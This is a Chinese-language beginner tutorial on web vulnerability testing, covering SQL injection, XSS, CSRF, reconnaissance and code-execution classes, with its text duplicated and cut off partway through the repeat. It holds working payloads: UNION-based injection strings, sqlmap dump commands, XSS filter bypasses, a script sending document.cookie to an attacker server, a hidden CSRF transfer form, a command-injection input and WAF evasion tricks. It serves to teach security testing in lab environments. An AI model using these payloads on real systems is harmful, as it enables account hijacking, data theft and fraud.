1. 项目概述从“漏洞的漏洞”说起最近在和一些刚接触安全的朋友交流时发现一个挺有意思的现象很多人一听到“漏洞”、“渗透测试”这些词第一反应就是觉得高深莫测是黑客的专属领域自己完全无从下手。这其实是一个巨大的误区也是我想写这篇“0基础漏洞入门教程”的初衷。安全不是魔法它更像是一门需要逻辑、耐心和一点点好奇心的手艺。所谓的“漏洞”本质上就是软件或系统在设计、开发或配置时留下的“缺陷”或“后门”。而“漏洞的漏洞”这个说法在我看来有两层含义一是我们挖掘的是系统本身的漏洞二是在学习漏洞知识的过程中我们自身认知和方法上可能存在的“漏洞”——比如急于求成、忽视基础、盲目使用工具等。这篇内容就是希望能帮你填补后者从而更好地去理解和发现前者。无论你是计算机专业的学生想为未来的职业生涯增加一项硬核技能还是运维、开发人员希望提升自己代码和系统的安全性亦或只是一个对网络安全充满好奇的爱好者这篇内容都适合你。我们不会一上来就讲高深的二进制漏洞或者复杂的协议分析而是从最贴近日常、最容易理解的Web应用漏洞入手。你会发现很多让网站“翻车”的问题其原理可能比你想象的要简单。我们的目标不是培养“脚本小子”而是让你建立起一套分析问题的思维框架知道一个漏洞“为什么”会产生以及“如何”被利用和修复。当你掌握了这套思维再去看那些热门的漏洞比如elasticsearch代码执行、各种提权漏洞就不会再觉得它们是不可逾越的高山而是一个个等待被解开的逻辑谜题。2. 漏洞认知重塑原理远比工具重要在开始具体技术之前我们必须先统一思想。很多新手容易陷入的第一个“漏洞的漏洞”就是工具依赖症。他们热衷于收集各种扫描器、利用工具认为有了“神器”就能一键挖洞。这大错特错。工具是手臂思维才是大脑。一个没有思维的“手臂”挥舞得再快也打不中要害。2.1 漏洞的本质预期与现实的偏差所有漏洞无论多复杂其核心都可以归结为一点程序的实际行为与设计者的预期行为发生了偏差。开发者预期用户输入的是“名字”你却输入了一段能执行的代码系统预期某个文件只有管理员能访问你却通过某种路径绕过了检查。理解了这个核心你就抓住了分析漏洞的钥匙。每一次测试你都是在问“这里程序是否严格按照它声称的逻辑在执行有没有什么输入或操作能让它跑到一条不该走的路上”以最常见的Web漏洞为例。开发者写了一句SQL语句SELECT * FROM users WHERE username ‘$user_input’ AND password ‘$pass_input’。他的预期是$user_input和$pass_input这两个变量里放的是用户填写的用户名和密码字符串。但如果你在用户名输入框里填写的不是“admin”而是admin’ --那么拼接后的SQL语句就变成了SELECT * FROM users WHERE username ‘admin’ -- ’ AND password ‘xxx’。在SQL中--是注释符这意味着后面的密码检查被完全注释掉了。程序的实际行为变成了只要用户名是admin就登录成功。这就是一次经典的“预期”与“现实”的偏差也就是SQL注入漏洞。2.2 威胁建模像攻击者一样思考在你动手测试之前先别急着打开扫描器。坐下来花十分钟“扮演”一下攻击者。这个过程叫做威胁建模它能帮你找到最有可能的突破口。确定目标资产你要测试的是什么一个网站一个API接口一个手机APP把它提供的核心功能列出来。比如用户登录、文章发布、文件上传、搜索查询、个人资料修改。识别信任边界哪里是系统“内部”和“外部”的交界最典型的就是所有接收用户输入的地方表单、URL参数、HTTP头、上传的文件。这些点都是潜在的入口。思考攻击面针对每个功能攻击者可能做什么比如“文件上传”功能攻击者可能上传一个Webshell网页木马“搜索”功能攻击者可能尝试注入代码“密码修改”功能攻击者可能尝试越权修改他人密码。评估潜在影响如果这个点被攻破最坏的结果是什么是数据泄露如盗取用户信息、系统被控制如执行任意命令、还是服务中断如拒绝服务这个过程能让你从“漫无目的地扫描”转变为“有重点地探测”效率会高得多。例如当你看到一个搜索框你立刻会联想到“这里会不会有SQL注入或者XSS”而不是等扫描器告诉你。注意威胁建模和所有测试行为必须在合法授权的范围内进行。未经授权对任何系统进行测试都是违法行为。练习请使用专为安全测试搭建的靶场环境如DVWA、WebGoat、PentesterLab等。3. Web漏洞入门实战三大经典漏洞深度解析理论说得再多不如亲手试一下。我们以最常见的三大Web漏洞——SQL注入、跨站脚本XSS、跨站请求伪造CSRF为例带你走完从原理理解到手工验证的完整过程。我会使用DVWADamn Vulnerable Web Application靶场作为演示环境因为它配置简单漏洞典型非常适合新手。3.1 SQL注入与数据库的“直接对话”SQL注入之所以排在第一位是因为它直接、危害大且能充分体现“输入验证不严”导致的后果。原理核心攻击者通过构造特殊的输入改变后端程序原定的SQL查询语句的逻辑从而执行非预期的数据库操作。手工探测步骤以DVWA Low级别为例寻找注入点找到所有与数据库交互的功能点如用户登录、搜索、内容筛选。这里我们以“User ID”查询功能为例。初步试探在输入框假设是查询用户ID的地方先输入一个正常数字如1。页面返回了ID为1的用户信息。触发错误输入一个单引号’。如果页面返回了数据库错误信息如“You have an error in your SQL syntax”那么这里极有可能存在注入漏洞。因为单引号破坏了SQL语句的字符串闭合。判断注入类型输入1’ and ‘1’’1和1’ and ‘1’’2。如果前者返回正常结果后者返回空或错误说明是字符型注入参数被引号包裹。输入1 and 11和1 and 12。如果前者正常后者异常说明是数字型注入。确认字段数使用ORDER BY子句。输入1’ ORDER BY 1 --正常1’ ORDER BY 2 --正常一直增加到页面报错比如ORDER BY 5时报错说明查询结果共有4个字段。这是为后续联合查询做准备。联合查询获取信息构造联合查询语句让数据库直接返回我们想要的信息。例如1 UNION SELECT 1, database(), user(), version() --这条语句会尝试将我们自定义的查询结果当前数据库名、数据库用户、数据库版本与原查询结果合并返回。如果页面显示了这些信息注入就成功了。深入利用与自动化 手工探测能帮你理解本质但实际中我们可以借助工具提高效率。sqlmap是一款开源的自动化SQL注入工具。在确认存在注入点后可以这样使用# 基本检测 python sqlmap.py -u http://靶场地址/vulnerabilities/sqli/?id1SubmitSubmit --cookie你的登录Cookie # 获取所有数据库名 python sqlmap.py -u http://靶场地址/... --cookie... --dbs # 获取指定数据库的所有表 python sqlmap.py -u http://靶场地址/... --cookie... -D 数据库名 --tables # 导出指定表的数据 python sqlmap.py -u http://靶场地址/... --cookie... -D 数据库名 -T 表名 --dump实操心得sqlmap功能强大但切忌无脑乱用。理解它的每一步在做什么是布尔盲注、时间盲注还是报错注入比单纯跑出一个结果更重要。否则你只是工具的傀儡遇到稍微变形的WAFWeb应用防火墙就会束手无策。3.2 跨站脚本XSS在别人家里跑自己的代码如果说SQL注入是“骗数据库”那么XSS就是“骗浏览器”。它的核心在于攻击者能将恶意脚本代码“注入”到受害者的浏览器中执行。原理核心网站没有对用户提交的内容进行充分的过滤和转义导致用户输入的HTML/JavaScript代码被浏览器当成正常页面内容解析并执行。XSS三种类型对比类型存储位置触发方式特点案例场景反射型XSSURL参数用户点击特制链接非持久化一次性的。常通过钓鱼邮件、短链接传播。http://example.com/search?qscriptalert(1)/script存储型XSS数据库用户访问正常页面持久化危害最大。恶意代码存储在服务器上所有访问者都会中招。论坛发帖、留言板、用户昵称中插入恶意脚本。DOM型XSS前端JavaScript前端JS处理数据不当不经过服务器纯前端漏洞。利用难度相对高但检测更难。网站使用document.write(location.hash)且未过滤。手工验证与利用以DVWA反射型XSS为例探测输入点找到所有用户输入能显示在页面上的地方如搜索框、表单填写项。插入测试载荷输入最简单的测试代码scriptalert(‘XSS’)/script。如果点击提交后浏览器弹出了警告框说明存在XSS漏洞。绕过简单过滤网站可能会过滤script标签。可以尝试其他标签和事件属性img srcx onerroralert(1) !-- 图片加载失败时执行 -- svg onloadalert(1) !-- SVG标签加载时执行 -- body onloadalert(1) !-- 尝试在body标签上 --构造利用代码弹窗只是证明漏洞存在。真实的攻击载荷可能是窃取用户的Cookie从而劫持会话scriptnew Image().src’http://攻击者服务器/steal.php?c’document.cookie;/script这段代码会创建一个隐形的图片请求将用户的Cookie发送到攻击者控制的服务器。防御视角作为开发者防御XSS的核心原则是“对不可信数据进行输出编码”。在数据输出到HTML、JavaScript、CSS或URL上下文时必须根据上下文进行相应的编码如HTML实体编码转成lt;。同时内容安全策略CSP是一个非常重要的纵深防御措施可以显著降低XSS的影响。3.3 跨站请求伪造CSRF冒充你的“合法”操作CSRF攻击有点“借刀杀人”的味道。攻击者诱骗已经登录了目标网站的用户去访问一个恶意构造的页面这个页面会自动向目标网站发起一个用户“不知情”但“合法”的请求。原理核心Web应用仅依赖浏览器自动携带的Cookie等凭证来识别用户身份而没有对请求本身的来源和意图进行二次确认。一个经典的CSRF攻击场景用户登录了网银网站bank.com会话Cookie有效。用户在同一浏览器中不小心访问了攻击者发布的恶意页面。这个恶意页面中隐藏着一个自动提交的表单form actionhttp://bank.com/transfer methodPOST input typehidden nameto valueattacker_account/ input typehidden nameamount value10000/ /form scriptdocument.forms[0].submit();/script浏览器加载该页面时会自动携带用户登录bank.com的Cookie并向转账接口发起一个POST请求。服务器看到合法的Cookie便执行了转账操作。手工验证与防御 验证CSRF漏洞非常简单在用户登录目标网站后尝试在另一个标签页用你的账户或测试账户构造一个关键操作如修改邮箱、转账的请求可以用Burp Suite抓包后生成CSRF PoC看是否能成功执行。防御CSRF的主流方法是使用Anti-CSRF Token反CSRF令牌服务器在用户会话中生成一个随机、不可预测的Token。在需要保护的表单或请求中将这个Token作为一个隐藏字段对于表单或自定义HTTP头对于AJAX发送给客户端。客户端提交请求时必须携带这个Token。服务器收到请求后验证Token是否与会话中存储的一致。不一致则拒绝请求。 因为恶意页面无法获取或预测这个Token所以无法构造出合法的请求。4. 从入门到挖掘构建你的漏洞挖掘工作流掌握了基础漏洞原理后你可能会问那我该如何开始挖掘一个真实的、未知的漏洞呢这需要一套系统性的方法而不是东一榔头西一棒子。4.1 信息收集比漏洞扫描更重要的一步信息收集的广度和深度直接决定了你攻击面的宽度。很多人跳过这一步直接扫描会错过大量“低垂的果实”。子域名枚举一个主域名下往往有多个子域名如admin.example.com,dev.example.com,test.example.com这些子站点的安全性可能参差不齐。工具subfinder,amass,OneForAll。目录/文件扫描寻找隐藏的登录后台、备份文件、配置文件、接口文档等。工具dirsearch,gobuster,ffuf。# 使用 gobuster 进行目录爆破示例 gobuster dir -u https://target.com/ -w /path/to/wordlist.txt -x php,txt,json,bak指纹识别识别目标使用的技术栈包括Web服务器Nginx/Apache、开发框架ThinkPHP/Spring/Flask、前端库、中间件版本等。工具Wappalyzer浏览器插件、WhatWeb。端口与服务探测除了80/443Web还要关注其他开放端口如21FTP、22SSH、3306MySQL、6379Redis等这些服务本身也可能存在漏洞。工具nmap。nmap -sV -sC -p- -T4 target.com # 全端口扫描并尝试识别服务和默认脚本扫描注意事项信息收集一定要有度。过于频繁或大流量的扫描可能会触发目标的警报机制导致你的IP被封锁。建议使用延迟参数并分散扫描时间。4.2 漏洞扫描与手动验证工具与思维的结合自动化扫描器如AWVS、Nessus、Xray可以快速发现一些常见漏洞但绝不能完全依赖扫描报告。扫描器是“线索提供者”把扫描器报告看作是一份“可疑点清单”而不是“漏洞确认书”。报告里标为“中危”的可能是误报标为“信息”的可能隐藏着严重漏洞。手动验证每一个点对扫描器发现的每一个潜在漏洞尤其是SQL注入、XSS、SSRF、文件包含等都必须手工复现一遍。这个过程能帮你理解漏洞产生的具体上下文并判断其真实危害性。关注扫描器盲区扫描器通常不擅长逻辑漏洞。比如越权漏洞你能看到或修改别人的数据吗水平越权同权限用户间、垂直越权低权限访问高权限功能。业务逻辑漏洞1分钱买iPhone无限领取优惠券密码重置流程能否被绕过接口参数污染同时提交两个相同的参数如?id1id2后端如何处理使用代理工具深入分析Burp Suite或OWASP ZAP是必备的中间人代理工具。它们能拦截、查看、修改所有浏览器与服务器之间的请求和响应是手动测试的“瑞士军刀”。重放Repeater修改请求参数反复测试。爬虫Spider自动爬取网站链接发现更多测试点。漏洞主动/被动扫描内置的扫描引擎可以作为补充。Intruder用于进行暴力破解、参数模糊测试Fuzzing例如测试所有参数是否存在SQL注入或XSS。4.3 漏洞原理深化以“提权漏洞”和“代码执行漏洞”为例当你对基础Web漏洞游刃有余后可以挑战更复杂的漏洞类型这需要更扎实的系统、网络或特定中间件知识。提权漏洞原理其核心在于利用系统或应用在权限管理上的缺陷从较低权限如普通用户、Web服务用户提升到更高权限如root、Administrator。操作系统提权通常利用内核漏洞如Dirty Cow、有SUID位的错误配置程序、或敏感服务漏洞。需要熟悉Linux/Windows系统命令、用户组管理、服务配置。数据库提权在通过Web漏洞获取数据库连接权限后利用数据库特性如MySQL的UDF提权、MSSQL的xp_cmdshell来执行操作系统命令。应用中间件提权比如利用WebLogic、JBoss反序列化漏洞获取服务器权限或利用Tomcat弱口令上传War包获取Shell。代码执行漏洞原理攻击者能够将任意代码注入到服务器端应用中并由应用执行。这通常是最高危的漏洞之一。命令注入应用调用了系统命令如exec(),system()且用户输入未经过滤直接拼接进命令中。例如一个ping功能ping -c 4 $user_input如果输入是8.8.8.8; whoami分号后的命令就会被执行。反序列化漏洞很多应用会接收序列化的对象数据进行传输。如果反序列化过程未做安全检查攻击者可以构造恶意的序列化数据在反序列化时触发执行特定代码。Java反序列化如WebLogic、PHP反序列化都是重灾区。模板注入服务端模板引擎如Jinja2, Freemarker, Velocity在渲染时如果用户输入被当成了模板的一部分进行解析就可能造成代码执行。例如输入{{7*7}}如果返回49就可能存在SSTI服务端模板注入。特定组件漏洞如开篇热词中提到的Elasticsearch代码执行漏洞CVE-2015-1427等。Elasticsearch的某些版本中其脚本引擎如Groovy存在沙箱绕过问题使得攻击者可以通过API执行任意Java代码。这类漏洞的挖掘需要你对目标组件的架构、API、历史漏洞有深入研究。5. 新手避坑指南与能力提升路径最后分享一些我踩过坑才明白的道理希望能帮你少走弯路。5.1 常见问题与排查技巧实录扫描器什么都没扫出来是不是就没漏洞排查检查扫描范围是否正确是否遗漏了子域名、API接口扫描策略是否过于保守目标是否部署了强大的WAF/IPS拦截了扫描流量技巧尝试降低扫描速度添加随机延迟和伪造的User-Agent头。更重要的是立即转为手动测试。扫描器是辅助人才是主体。手工测试时网站返回“非法参数”或“请求异常”怎么办排查这可能意味着有基础防护如简单的关键字过滤、输入长度限制。技巧编码绕过尝试URL编码、双重URL编码、HTML编码、Unicode编码。例如script可以尝试写成%3Cscript%3E或\u003cscript\u003e。等价替换用代替AND用||代替OR用like代替用/**/代替空格。大小写混合SeLeCt代替SELECT。使用注释符分割UNION/**/SELECT/**/1,2,3。找到了一个疑似漏洞的点但无法利用或证明危害怎么办思路漏洞的价值在于其可利用性和影响。如果无法直接获取数据或执行命令思考是否可以组合其他漏洞是否是一个“鸡肋”的信息泄露点尝试扩大测试面看看同类型参数、同一功能模块的其他地方是否存在同样问题。如何写出高质量的漏洞报告要素齐全清晰的标题、详尽的漏洞描述URL、参数、步骤、原理简述、完整的复现步骤请求/响应截图或数据包、危害评估CVSS评分参考、修复建议。语言专业客观避免使用情绪化、攻击性语言。用事实和数据说话。证明视频对于复杂的逻辑漏洞录制一个简短的屏幕录像往往比文字描述更直观。5.2 可持续的学习与提升路径安全是一个需要终身学习的领域。以下是一个建议的进阶路径夯实基础1-3个月网络基础TCP/IP协议、HTTP/HTTPS协议重点方法、状态码、头字段、Cookie/Session。Web基础HTML、JavaScript、前后端交互方式GET/POST/AJAX。语言基础至少能读懂PHP/Python/Java中的一种理解基本语法和常见危险函数。靶场练习持续进行综合性靶场DVWA、bWAPP、WebGoat、HackTheBox在线平台需一定基础。专项靶场PentesterLab提供专题练习、SQLi-Labs专注SQL注入、XSS挑战平台。阅读与分析每日积累关注安全社区Seebug、先知社区、安全客、国外如PortSwigger Blog。分析漏洞公告关注CNVD、CNNVD及各大厂商的安全公告尝试理解漏洞原理和利用方式。阅读优秀报告在各大SRC安全应急响应中心和漏洞平台上学习别人提交的高质量报告。参与实践寻找机会合法授权测试参与公司内部的安全众测、或一些公开的合法漏洞测试项目。搭建个人实验环境用虚拟机搭建包含漏洞的完整环境如LAMP有漏洞的CMS进行从外网渗透到内网横向移动的完整演练。CTF比赛参加线上CTF比赛是锻炼实战能力的绝佳方式尤其是解题模式Jeopardy的Web题目。这条路没有捷径最大的技巧就是“动手”和“思考”。每遇到一个漏洞多问几个为什么为什么这里会有问题开发者在什么场景下会写出这样的代码修复方案为什么是那样久而久之你不仅会挖洞更能理解安全的本质甚至能从开发层面就避免问题的产生。这才是从一个“找洞者”成长为“安全工程师”的关键。
Web安全入门：从SQL注入、XSS到漏洞挖掘实战指南
1. 项目概述从“漏洞的漏洞”说起最近在和一些刚接触安全的朋友交流时发现一个挺有意思的现象很多人一听到“漏洞”、“渗透测试”这些词第一反应就是觉得高深莫测是黑客的专属领域自己完全无从下手。这其实是一个巨大的误区也是我想写这篇“0基础漏洞入门教程”的初衷。安全不是魔法它更像是一门需要逻辑、耐心和一点点好奇心的手艺。所谓的“漏洞”本质上就是软件或系统在设计、开发或配置时留下的“缺陷”或“后门”。而“漏洞的漏洞”这个说法在我看来有两层含义一是我们挖掘的是系统本身的漏洞二是在学习漏洞知识的过程中我们自身认知和方法上可能存在的“漏洞”——比如急于求成、忽视基础、盲目使用工具等。这篇内容就是希望能帮你填补后者从而更好地去理解和发现前者。无论你是计算机专业的学生想为未来的职业生涯增加一项硬核技能还是运维、开发人员希望提升自己代码和系统的安全性亦或只是一个对网络安全充满好奇的爱好者这篇内容都适合你。我们不会一上来就讲高深的二进制漏洞或者复杂的协议分析而是从最贴近日常、最容易理解的Web应用漏洞入手。你会发现很多让网站“翻车”的问题其原理可能比你想象的要简单。我们的目标不是培养“脚本小子”而是让你建立起一套分析问题的思维框架知道一个漏洞“为什么”会产生以及“如何”被利用和修复。当你掌握了这套思维再去看那些热门的漏洞比如elasticsearch代码执行、各种提权漏洞就不会再觉得它们是不可逾越的高山而是一个个等待被解开的逻辑谜题。2. 漏洞认知重塑原理远比工具重要在开始具体技术之前我们必须先统一思想。很多新手容易陷入的第一个“漏洞的漏洞”就是工具依赖症。他们热衷于收集各种扫描器、利用工具认为有了“神器”就能一键挖洞。这大错特错。工具是手臂思维才是大脑。一个没有思维的“手臂”挥舞得再快也打不中要害。2.1 漏洞的本质预期与现实的偏差所有漏洞无论多复杂其核心都可以归结为一点程序的实际行为与设计者的预期行为发生了偏差。开发者预期用户输入的是“名字”你却输入了一段能执行的代码系统预期某个文件只有管理员能访问你却通过某种路径绕过了检查。理解了这个核心你就抓住了分析漏洞的钥匙。每一次测试你都是在问“这里程序是否严格按照它声称的逻辑在执行有没有什么输入或操作能让它跑到一条不该走的路上”以最常见的Web漏洞为例。开发者写了一句SQL语句SELECT * FROM users WHERE username ‘$user_input’ AND password ‘$pass_input’。他的预期是$user_input和$pass_input这两个变量里放的是用户填写的用户名和密码字符串。但如果你在用户名输入框里填写的不是“admin”而是admin’ --那么拼接后的SQL语句就变成了SELECT * FROM users WHERE username ‘admin’ -- ’ AND password ‘xxx’。在SQL中--是注释符这意味着后面的密码检查被完全注释掉了。程序的实际行为变成了只要用户名是admin就登录成功。这就是一次经典的“预期”与“现实”的偏差也就是SQL注入漏洞。2.2 威胁建模像攻击者一样思考在你动手测试之前先别急着打开扫描器。坐下来花十分钟“扮演”一下攻击者。这个过程叫做威胁建模它能帮你找到最有可能的突破口。确定目标资产你要测试的是什么一个网站一个API接口一个手机APP把它提供的核心功能列出来。比如用户登录、文章发布、文件上传、搜索查询、个人资料修改。识别信任边界哪里是系统“内部”和“外部”的交界最典型的就是所有接收用户输入的地方表单、URL参数、HTTP头、上传的文件。这些点都是潜在的入口。思考攻击面针对每个功能攻击者可能做什么比如“文件上传”功能攻击者可能上传一个Webshell网页木马“搜索”功能攻击者可能尝试注入代码“密码修改”功能攻击者可能尝试越权修改他人密码。评估潜在影响如果这个点被攻破最坏的结果是什么是数据泄露如盗取用户信息、系统被控制如执行任意命令、还是服务中断如拒绝服务这个过程能让你从“漫无目的地扫描”转变为“有重点地探测”效率会高得多。例如当你看到一个搜索框你立刻会联想到“这里会不会有SQL注入或者XSS”而不是等扫描器告诉你。注意威胁建模和所有测试行为必须在合法授权的范围内进行。未经授权对任何系统进行测试都是违法行为。练习请使用专为安全测试搭建的靶场环境如DVWA、WebGoat、PentesterLab等。3. Web漏洞入门实战三大经典漏洞深度解析理论说得再多不如亲手试一下。我们以最常见的三大Web漏洞——SQL注入、跨站脚本XSS、跨站请求伪造CSRF为例带你走完从原理理解到手工验证的完整过程。我会使用DVWADamn Vulnerable Web Application靶场作为演示环境因为它配置简单漏洞典型非常适合新手。3.1 SQL注入与数据库的“直接对话”SQL注入之所以排在第一位是因为它直接、危害大且能充分体现“输入验证不严”导致的后果。原理核心攻击者通过构造特殊的输入改变后端程序原定的SQL查询语句的逻辑从而执行非预期的数据库操作。手工探测步骤以DVWA Low级别为例寻找注入点找到所有与数据库交互的功能点如用户登录、搜索、内容筛选。这里我们以“User ID”查询功能为例。初步试探在输入框假设是查询用户ID的地方先输入一个正常数字如1。页面返回了ID为1的用户信息。触发错误输入一个单引号’。如果页面返回了数据库错误信息如“You have an error in your SQL syntax”那么这里极有可能存在注入漏洞。因为单引号破坏了SQL语句的字符串闭合。判断注入类型输入1’ and ‘1’’1和1’ and ‘1’’2。如果前者返回正常结果后者返回空或错误说明是字符型注入参数被引号包裹。输入1 and 11和1 and 12。如果前者正常后者异常说明是数字型注入。确认字段数使用ORDER BY子句。输入1’ ORDER BY 1 --正常1’ ORDER BY 2 --正常一直增加到页面报错比如ORDER BY 5时报错说明查询结果共有4个字段。这是为后续联合查询做准备。联合查询获取信息构造联合查询语句让数据库直接返回我们想要的信息。例如1 UNION SELECT 1, database(), user(), version() --这条语句会尝试将我们自定义的查询结果当前数据库名、数据库用户、数据库版本与原查询结果合并返回。如果页面显示了这些信息注入就成功了。深入利用与自动化 手工探测能帮你理解本质但实际中我们可以借助工具提高效率。sqlmap是一款开源的自动化SQL注入工具。在确认存在注入点后可以这样使用# 基本检测 python sqlmap.py -u http://靶场地址/vulnerabilities/sqli/?id1SubmitSubmit --cookie你的登录Cookie # 获取所有数据库名 python sqlmap.py -u http://靶场地址/... --cookie... --dbs # 获取指定数据库的所有表 python sqlmap.py -u http://靶场地址/... --cookie... -D 数据库名 --tables # 导出指定表的数据 python sqlmap.py -u http://靶场地址/... --cookie... -D 数据库名 -T 表名 --dump实操心得sqlmap功能强大但切忌无脑乱用。理解它的每一步在做什么是布尔盲注、时间盲注还是报错注入比单纯跑出一个结果更重要。否则你只是工具的傀儡遇到稍微变形的WAFWeb应用防火墙就会束手无策。3.2 跨站脚本XSS在别人家里跑自己的代码如果说SQL注入是“骗数据库”那么XSS就是“骗浏览器”。它的核心在于攻击者能将恶意脚本代码“注入”到受害者的浏览器中执行。原理核心网站没有对用户提交的内容进行充分的过滤和转义导致用户输入的HTML/JavaScript代码被浏览器当成正常页面内容解析并执行。XSS三种类型对比类型存储位置触发方式特点案例场景反射型XSSURL参数用户点击特制链接非持久化一次性的。常通过钓鱼邮件、短链接传播。http://example.com/search?qscriptalert(1)/script存储型XSS数据库用户访问正常页面持久化危害最大。恶意代码存储在服务器上所有访问者都会中招。论坛发帖、留言板、用户昵称中插入恶意脚本。DOM型XSS前端JavaScript前端JS处理数据不当不经过服务器纯前端漏洞。利用难度相对高但检测更难。网站使用document.write(location.hash)且未过滤。手工验证与利用以DVWA反射型XSS为例探测输入点找到所有用户输入能显示在页面上的地方如搜索框、表单填写项。插入测试载荷输入最简单的测试代码scriptalert(‘XSS’)/script。如果点击提交后浏览器弹出了警告框说明存在XSS漏洞。绕过简单过滤网站可能会过滤script标签。可以尝试其他标签和事件属性img srcx onerroralert(1) !-- 图片加载失败时执行 -- svg onloadalert(1) !-- SVG标签加载时执行 -- body onloadalert(1) !-- 尝试在body标签上 --构造利用代码弹窗只是证明漏洞存在。真实的攻击载荷可能是窃取用户的Cookie从而劫持会话scriptnew Image().src’http://攻击者服务器/steal.php?c’document.cookie;/script这段代码会创建一个隐形的图片请求将用户的Cookie发送到攻击者控制的服务器。防御视角作为开发者防御XSS的核心原则是“对不可信数据进行输出编码”。在数据输出到HTML、JavaScript、CSS或URL上下文时必须根据上下文进行相应的编码如HTML实体编码转成lt;。同时内容安全策略CSP是一个非常重要的纵深防御措施可以显著降低XSS的影响。3.3 跨站请求伪造CSRF冒充你的“合法”操作CSRF攻击有点“借刀杀人”的味道。攻击者诱骗已经登录了目标网站的用户去访问一个恶意构造的页面这个页面会自动向目标网站发起一个用户“不知情”但“合法”的请求。原理核心Web应用仅依赖浏览器自动携带的Cookie等凭证来识别用户身份而没有对请求本身的来源和意图进行二次确认。一个经典的CSRF攻击场景用户登录了网银网站bank.com会话Cookie有效。用户在同一浏览器中不小心访问了攻击者发布的恶意页面。这个恶意页面中隐藏着一个自动提交的表单form actionhttp://bank.com/transfer methodPOST input typehidden nameto valueattacker_account/ input typehidden nameamount value10000/ /form scriptdocument.forms[0].submit();/script浏览器加载该页面时会自动携带用户登录bank.com的Cookie并向转账接口发起一个POST请求。服务器看到合法的Cookie便执行了转账操作。手工验证与防御 验证CSRF漏洞非常简单在用户登录目标网站后尝试在另一个标签页用你的账户或测试账户构造一个关键操作如修改邮箱、转账的请求可以用Burp Suite抓包后生成CSRF PoC看是否能成功执行。防御CSRF的主流方法是使用Anti-CSRF Token反CSRF令牌服务器在用户会话中生成一个随机、不可预测的Token。在需要保护的表单或请求中将这个Token作为一个隐藏字段对于表单或自定义HTTP头对于AJAX发送给客户端。客户端提交请求时必须携带这个Token。服务器收到请求后验证Token是否与会话中存储的一致。不一致则拒绝请求。 因为恶意页面无法获取或预测这个Token所以无法构造出合法的请求。4. 从入门到挖掘构建你的漏洞挖掘工作流掌握了基础漏洞原理后你可能会问那我该如何开始挖掘一个真实的、未知的漏洞呢这需要一套系统性的方法而不是东一榔头西一棒子。4.1 信息收集比漏洞扫描更重要的一步信息收集的广度和深度直接决定了你攻击面的宽度。很多人跳过这一步直接扫描会错过大量“低垂的果实”。子域名枚举一个主域名下往往有多个子域名如admin.example.com,dev.example.com,test.example.com这些子站点的安全性可能参差不齐。工具subfinder,amass,OneForAll。目录/文件扫描寻找隐藏的登录后台、备份文件、配置文件、接口文档等。工具dirsearch,gobuster,ffuf。# 使用 gobuster 进行目录爆破示例 gobuster dir -u https://target.com/ -w /path/to/wordlist.txt -x php,txt,json,bak指纹识别识别目标使用的技术栈包括Web服务器Nginx/Apache、开发框架ThinkPHP/Spring/Flask、前端库、中间件版本等。工具Wappalyzer浏览器插件、WhatWeb。端口与服务探测除了80/443Web还要关注其他开放端口如21FTP、22SSH、3306MySQL、6379Redis等这些服务本身也可能存在漏洞。工具nmap。nmap -sV -sC -p- -T4 target.com # 全端口扫描并尝试识别服务和默认脚本扫描注意事项信息收集一定要有度。过于频繁或大流量的扫描可能会触发目标的警报机制导致你的IP被封锁。建议使用延迟参数并分散扫描时间。4.2 漏洞扫描与手动验证工具与思维的结合自动化扫描器如AWVS、Nessus、Xray可以快速发现一些常见漏洞但绝不能完全依赖扫描报告。扫描器是“线索提供者”把扫描器报告看作是一份“可疑点清单”而不是“漏洞确认书”。报告里标为“中危”的可能是误报标为“信息”的可能隐藏着严重漏洞。手动验证每一个点对扫描器发现的每一个潜在漏洞尤其是SQL注入、XSS、SSRF、文件包含等都必须手工复现一遍。这个过程能帮你理解漏洞产生的具体上下文并判断其真实危害性。关注扫描器盲区扫描器通常不擅长逻辑漏洞。比如越权漏洞你能看到或修改别人的数据吗水平越权同权限用户间、垂直越权低权限访问高权限功能。业务逻辑漏洞1分钱买iPhone无限领取优惠券密码重置流程能否被绕过接口参数污染同时提交两个相同的参数如?id1id2后端如何处理使用代理工具深入分析Burp Suite或OWASP ZAP是必备的中间人代理工具。它们能拦截、查看、修改所有浏览器与服务器之间的请求和响应是手动测试的“瑞士军刀”。重放Repeater修改请求参数反复测试。爬虫Spider自动爬取网站链接发现更多测试点。漏洞主动/被动扫描内置的扫描引擎可以作为补充。Intruder用于进行暴力破解、参数模糊测试Fuzzing例如测试所有参数是否存在SQL注入或XSS。4.3 漏洞原理深化以“提权漏洞”和“代码执行漏洞”为例当你对基础Web漏洞游刃有余后可以挑战更复杂的漏洞类型这需要更扎实的系统、网络或特定中间件知识。提权漏洞原理其核心在于利用系统或应用在权限管理上的缺陷从较低权限如普通用户、Web服务用户提升到更高权限如root、Administrator。操作系统提权通常利用内核漏洞如Dirty Cow、有SUID位的错误配置程序、或敏感服务漏洞。需要熟悉Linux/Windows系统命令、用户组管理、服务配置。数据库提权在通过Web漏洞获取数据库连接权限后利用数据库特性如MySQL的UDF提权、MSSQL的xp_cmdshell来执行操作系统命令。应用中间件提权比如利用WebLogic、JBoss反序列化漏洞获取服务器权限或利用Tomcat弱口令上传War包获取Shell。代码执行漏洞原理攻击者能够将任意代码注入到服务器端应用中并由应用执行。这通常是最高危的漏洞之一。命令注入应用调用了系统命令如exec(),system()且用户输入未经过滤直接拼接进命令中。例如一个ping功能ping -c 4 $user_input如果输入是8.8.8.8; whoami分号后的命令就会被执行。反序列化漏洞很多应用会接收序列化的对象数据进行传输。如果反序列化过程未做安全检查攻击者可以构造恶意的序列化数据在反序列化时触发执行特定代码。Java反序列化如WebLogic、PHP反序列化都是重灾区。模板注入服务端模板引擎如Jinja2, Freemarker, Velocity在渲染时如果用户输入被当成了模板的一部分进行解析就可能造成代码执行。例如输入{{7*7}}如果返回49就可能存在SSTI服务端模板注入。特定组件漏洞如开篇热词中提到的Elasticsearch代码执行漏洞CVE-2015-1427等。Elasticsearch的某些版本中其脚本引擎如Groovy存在沙箱绕过问题使得攻击者可以通过API执行任意Java代码。这类漏洞的挖掘需要你对目标组件的架构、API、历史漏洞有深入研究。5. 新手避坑指南与能力提升路径最后分享一些我踩过坑才明白的道理希望能帮你少走弯路。5.1 